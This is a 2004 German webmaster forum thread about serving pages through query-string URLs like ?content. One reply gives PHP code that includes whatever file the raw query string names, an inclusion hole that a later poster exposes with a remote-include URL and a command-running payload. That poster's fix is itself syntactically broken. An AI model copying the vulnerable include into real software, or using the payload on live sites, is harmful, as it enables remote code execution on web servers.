ABAKUS

Verfasst: **12.10.2004, 22:10**

Hallo Leute,

hab in letzter Zeit beobachtet das viele Seiten Ihren Contetent unter folgender Dateistruktur veröffentlichen:

www.domain.de/?content

Wie kann ich nun dafür sorgen das diese URL nicht den gleichen Inhalt hat wie meine Startseite ?

Freue mich über alle Antworten

Wigo

Verfasst: **13.10.2004, 06:36**

https://www.selfphp.info/index.php

Verfasst: **13.10.2004, 14:03**

@Intphone
Wieso bin ich bloß nicht selbst drauf gekommen ?

@Alle Anderen

Könnte mit jemand den Code in PHP mal schnell schreiben, sind vermutlich nur ein Paar zeilen...

Wenn der parameter "content1" aufgerufen wird, soll conten1.html includet werden, und wenn kein parameter angegeben wird, die datei start.html

Ich würde mich freuen wenn jemand von euch so nett wehre mit das zu schreiben, hab von der syntax in php leider keine Ahnung

Danke im Vorraus

Wigo

Verfasst: **13.10.2004, 14:14**

Code: Alles auswählen

<?
if&#40;$_SERVER&#91;"QUERY_STRING"&#93;!=""&#41; &#123;
include&#40;$_SERVER&#91;"QUERY_STRING"&#93;.php&#41;;
&#125; else &#123;
include&#40;"start.php"&#41;;
&#125;
?>

Verfasst: **13.10.2004, 15:20**

Danke Manute, mit ner kleinen Änderung hats gefunzt

Verfasst: **13.10.2004, 15:29**

manute hat geschrieben:

Code: Alles auswählen

<?
if&#40;$_SERVER&#91;"QUERY_STRING"&#93;!=""&#41; &#123;
include&#40;$_SERVER&#91;"QUERY_STRING"&#93;.php&#41;;
&#125; else &#123;
include&#40;"start.php"&#41;;
&#125;
?>

Nett, du lässt andere Leute ihren php Code bei dir ausführen: index.php?https://www.blablabla.com/meineseite!

So ein <?php system('uname -a'); ?> ist schon was nettes für einen cracker oder?

Code: Alles auswählen

if&#40;!file_exist&#40;'file/'.$Variable.'.inc''&#41;&#41;;
   $Variable = 'start.inc'';
&#91;...&#93;
include&#40;'file/'.$Variable.'.inc'&#41;;

sollte das beheben.

Verfasst: **13.10.2004, 15:40**

Stimmt du hast recht !!! Was kann ich dagegen tun ?

Zur not ist es ja nicht mein Server, hab dort nur 100 MB gemietet

ABAKUS

Wie erzeuge ich www.domain.de/?content

Wie erzeuge ich www.domain.de/?content